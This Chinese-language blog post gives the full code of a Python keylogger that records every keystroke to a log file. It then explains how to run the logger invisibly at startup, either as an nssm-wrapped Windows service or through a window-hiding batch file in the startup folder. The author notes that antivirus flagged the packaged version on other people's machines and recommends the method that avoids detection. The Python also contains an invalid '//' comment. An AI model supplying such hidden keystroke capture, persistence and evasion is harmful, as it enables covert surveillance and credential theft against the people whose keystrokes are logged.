前言

最近遇到一个需求,需要监测键盘输入,将其输出到指定的文件中保存,代码本身不复杂,但是配置脚本在 Windows 环境中自启的时候遇到了一些麻烦。

脚本代码

from pynput.keyboard import Listener, Key

import logging
from datetime import date

directory = f"D:/key"  // 日志文件保存路径
today = str(date.today())

logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s")

def on_press(key):
    logging.info(key)


def on_release(key):
    pass

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

解决思路

pyinstaller+nssm

使用 pyinstaller 将 Python 程序打包为 exe 文件,并且使用 nssm 配置为系统服务,nssm 是一个服务封装程序,它可以将普通 exe 程序封装成服务,使之像 windows 服务一样运行。同类型的工具还有微软自己的 srvany,不过 nssm 更加简单易用。

相关配置可以参考:Windows 使用 NSSM 将任意 exe 封装为服务 - 终点站

此思路在我自己的电脑上测试正常,但是在其他人电脑上 exe 程序会被 windows 防火墙误杀,查了很多资料才得知是 python 代码中使用了 OS 库,涉及了敏感操作会被杀毒软件误杀,所以要么不用 python 自带的 os 库,要么使用别的方法进行配置。

pythonw+设置开机自启 bat

使用 python 命令运行 py 文件,会保留 cmd 窗口,当窗口误关闭时,程序就会中断,这不是我们想要的。查询相关资料得知有 pythonw 这个东西,pythonw 是无窗口的 Python 可执行程序,意思是在运行程序的时候,没有窗口,代码在后台执行。

既然如此,就可以写这样的 bat 脚本

@echo off 
if "%1" == "h" goto begin 
mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit 
:begin 
start /b cmd /k "pythonw D:\keylogger.py"

最后一行是使用 pythonw 执行你的 python 脚本,将这个 bat 脚本设置为开机自启即可。具体设置步骤如下:

  1. win+r 输入 shell:startup
  2. 将写好的 bat 脚本拖入,便会开机自启动

总结

总的来说,要设置 Python 脚本开机后台自启,持续运行,

  1. 将 python 程序打包成可执行文件(exe)文件,再使用 nssm 配置为系统服务,如果使用到了 os 库,则会有被杀软误杀的可能,建议使用下面的方法
  2. pythonw+开机自启 bat,这种配置起来比较麻烦,需要在使用的机上安装 Python 环境,才可以正常使用,不过不会报毒。
Last modification:January 25, 2022
If you think my article is useful to you, please feel free to appreciate